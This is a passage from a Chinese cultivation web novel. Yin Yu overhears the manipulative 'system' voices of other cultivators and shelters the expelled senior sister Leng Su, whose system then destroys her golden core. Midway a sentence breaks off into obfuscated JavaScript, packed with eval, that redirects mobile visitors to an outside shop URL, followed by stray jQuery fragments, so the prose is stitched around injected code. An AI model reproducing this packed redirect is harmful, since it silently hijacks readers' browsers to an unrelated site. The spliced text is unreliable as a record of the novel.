剑堪比剑修最亲密的伙伴,没有剑的剑修就像鱼没有鳃。
嬴瑜原本想离开,看到这一幕,又掩藏了气息,躲在后面。
裕宁上前嘲讽:“这不是我们骄傲的天之骄子大师姐吗?怎么不带队了?你那些常跟随的师妹师弟呢?”
她抱着剑,一脸高傲看着冷溯。
“请宿主为难冷溯,并当众回击。”
嬴瑜再次听到系统的命令。
冷溯目不斜视,错开身,从裕宁身旁走过。
“裕宁师妹问你话呢!”一个男修抓住了冷溯的手臂。
“放开。”冷溯沉沉道。
“你还以为你是太虚剑宗的师姐吗?你现在不过是被赶出宗门的一条狗!”
这男修迫切想在裕宁面前表现,话语之间又去踢冷溯的腿。
大师姐迅速转身,反手将他扭转至身下,对着裕宁道:“管好你的人。”
“叮咚——检测到有前方出现攻略对象。背景信息:原太虚剑宗弟子,因宗门内部纷争,不愿站队,对宗门弟子大打出手后被驱逐,佩剑碎裂。宿主需对其完成攻略,此女身负剑骨,与其双修可迅速提升境界。”
嬴瑜不可置信地摸摸自己的耳朵,一股愤怒从体内升起。
系统五号出现了。
随即她便看到一个未束发男人从青云宗弟子后方走出。
嬴瑜细看,来人身姿挺拔,身着绣纹精致的华美暗色锦袍,衣料流光溢彩,一头乌黑长发垂至脚踝,虚虚用丝带挽着。
他肤色白皙细腻,五官昳丽夺目,眼尾轻扬,眸光带着几分肆意顽劣。唇色殷红,面部张扬慵懒,又略带凌厉。
举止散漫随性,眉眼间常噙着笑意,气场热烈又独特。这般出众的容貌气度,引得往来路人纷纷侧目。
“哪里来的狐狸精!”
青云宗弟子大喊,喊出了嬴瑜心声。
裕宁正一瞬不瞬盯着人看。
“吾乃仙乐府钟青璃,各位道友有礼了。”
他微微侧目,做出惊讶的模样,“敢问各位可是青云宗弟子?”
这边冷溯不耐,把那出言不逊的弟子松开,伸腿便要离开。
“站住!”
“且慢。”
两道声音响起,一道是裕宁,一道是这钟青璃。
冷溯不理,依旧往前走,裕宁又气又急,着急完成系统任务,便上前去拽她。
放到往日她是万万没这个胆子的。
谁知她刚碰到冷溯后背,便见对方直直弹了出去,狠狠摔落到地上,猛地吐出一大口血。
“任务完成,防御法器已放入芥子袋。”
裕宁大惊失色,五官都有些变形,高声喊道:“我可没有推你!”
“道友怎可如此欺凌他人?”
钟青璃不满的声音传来,嬴瑜这才发现他手里拿了一根长萧。
他快步走向冷溯,去将她扶了起来,“道友,无事罢?”
冷溯甩开他,踉踉跄跄离开。
“好感度+1。此人专修无情道,宿主需徐徐图之。”
嬴瑜再次听到钟青璃的系统音,脑子转得飞快。
截止到现在,她都没听大师姐的系统播报。
刚刚她看得清楚,裕宁还未碰到大师姐,大师姐便飞了出去,在场的弟子都和裕宁差不多,是筑基后期,没有这么强的能力。
现场就只有一个钟青璃不知修为。
是他暗暗使力,做出一副英雄救美的戏码来。
她对这种行径极端厌恶。
大师姐被太虚剑宗扫地出门,佩剑丢失,现在修为似乎也变弱了。
嬴瑜一来佩服她之前公然对抗“杀妻证道”,其次被她反抗系统威逼利诱的行为深深震撼。
现在不清楚这个她的系统什么目的,又有钟青璃盯着,她实在不愿眼睁睁看着大师姐成为“战利品。”
思及此,她提气跟上冷溯,想着哪怕是在后边提醒一下,让她远离钟青璃。
这边冷溯已经快速离开,嬴瑜紧赶慢赶,终于在一刻钟后看到对方的身影。
“大……!哎!”
她还未喊出大师姐三字,便见对方直直从空中栽了下去。
乘风诀距离地面约有五米,没有法力护体,这样一摔,和跳楼无异。
嬴瑜加速过去接住她,二人齐齐滚落在草丛里。
冷溯面如青灰,双眼紧闭,已是失去意识。
“大师姐!大师姐!醒醒!”嬴瑜去拍她的脸,一边拍一边晃,冷溯毫无反应。
她咬了咬牙,背起她就往看好的宅子跑。
要先把冷溯安顿下,再去找牙婆拿东西,拿完后再来宅子放好,之后还要去接娰何。
她一个头两个大,顾不得想七想八,全用在赶路上。
她把冷溯放下后,给对方留了一封信,以免她醒来后以为自己进鬼屋。
紧接着又去找牙婆,一句话没说,拿了钥匙和牙婆买的物件就走。回到宅子后冷溯依旧在昏迷,嬴瑜马不停蹄跑去破庙接娰何。
娰何被她吓了一跳:“怎么慌慌张张的?”
“这不是太晚了吗,怕你饿着。房子找好了,我们走罢。”
边说边递给娰何一盒点心,背起对方便走。
路上二人说话,嬴瑜告诉她捡到了大师姐。
娰何嘴里鼓鼓的,“哪个大丝姐?窝记得窝才是大丝姐。”
“不是你。是太虚剑宗大师姐。”
“她?她不是天生剑骨的天才吗,怎么被你捡到了。”
娰何咽下这口点心,感觉噎得慌,不再吃了。
“此事说来话长。我在路边捡到的,之前我在青云宗和她有过一面之缘,当时她的宗门发生了些事情。她很虚弱,御风而行的时候摔下来了。”
“好吧。”娰何并不是很关心。
二人说话间便来到了新家,此时天已经擦黑,在外看这幢宅子真是鬼气森森。
青灰院墙年久失修,墙皮大块剥落,墙根杂草丛生。
两扇大门紧闭,漆面早已朽坏斑驳。高挑的飞檐隐在暗影里,枝桠枯树斜斜横伸,宛若嶙峋鬼爪。
整座宅子不见半分灯火,窗扉紧闭,四下死寂无声,唯有晚风掠过檐角,卷着枯叶簌簌作响。
“比我们的小屋大。”娰何点评,随后推开了门。
“嗖!”一个碎石子擦着娰何的耳边飞过,把她的头发削掉一撮。
娰何此时正虚弱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635454|206561||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,被巨大的气流带动,往后踉跄几步。
嬴瑜赶忙跟上扶住娰何,“大师姐!手下留情!”
冷溯站在院中,右手里还有三颗石子。
嬴瑜点了根蜡烛来,放到会客厅的红木桌上,“且坐下,我们有话好好说。”
冷溯撩起衣袍,闷不做声地坐下了。
嬴瑜看她脸色无常,便拉了娰何也坐下。
“大师姐,不知道你是否记得我,我之前在青云宗后山看守灵田。”
冷溯挑眉,修仙之人记忆很好,她记得这个丹田没有气的杂役,现在看对方已经筑基,微微有些讶异。
“你救了我?”
“不敢当。当时我正在附近买东西,刚巧遇到了您和裕宁师姐,原本想和裕宁师姐打招呼,谁知看到你们起了冲突。”
“我并无恶意,只是想告诉您,当时不是裕宁师姐所为,是钟青璃。”
冷溯看着闪动的烛光,“我已知晓。”
话落之后整个会客厅安静下来,冷溯看到娰何,说了句:“失礼了。”
娰何正在摆弄嬴瑜放在地上的锅碗瓢盆,头也没抬。
嬴瑜不知道此时是该让大师姐走,还是让她留下,她看起来伤得很严重,可是再怎么也轮不到自己照顾她。
“宿主,只需你重新回到宗门,我便归还你部分修为,如若冥顽不灵,下场便如这两个废物!”
转瞬间嬴瑜再次听到了这系统的鬼话,净说些她不爱听的,听听,什么叫这两个废物?
娰何怎么会是废物?
转念一想,看来大师姐还没屈服,甚至现在修为下降都是拜这个系统所赐。
冷溯整个人都僵住,她手背青筋爆起,紧紧咬着牙。
娰何此时不明所以地抬起头:“没事。你要丹药吗?”
一时间三人形成略微滑稽的场面,只有嬴瑜在中间知道前因后果,却又无法开口。
“既你心意已决,我便就此离去。原定只有宿主死亡我才可以脱离,看到你这不屈的模样,我又不想要你死了,便再拿走你半颗金丹,看你无剑无丹,往后如何自处!”
嬴瑜敏锐发觉对方说“再”,难道大师姐已失去半颗?
“不可!”她一着急,便喊了出来。
娰何和冷溯齐齐望向她。
只是冷溯的嘴角突然开始溢血,她用手撑在红桌上,双眼也变得血红。
“三……二……一,脱离。”
冷溯整个人重重倒地。
“娰何,快拿回春丹来!她金丹已碎!”
娰何闻言赶忙从芥子袋中拿出仅剩的几颗上品丹药,一股脑塞进了冷溯嘴里。
冷溯口中的血像是不要命般往外涌,很快便把衣袍全部打湿。
“好……痛”,她喃喃着。
恍惚间感觉头部被托起,随后被喂入一把丹药,再之后便是腹部一股热流。
她的金丹没了。
丹田处涌入了大量血液。
冷溯脑袋一歪,失去了意识。
“止血丹!止血丹!”
嬴瑜再一次亲眼见到修士在自己面前失去金丹。
昨晚的恐惧一瞬间淹没了她,脑中混沌,似乎变成一阵起伏的海。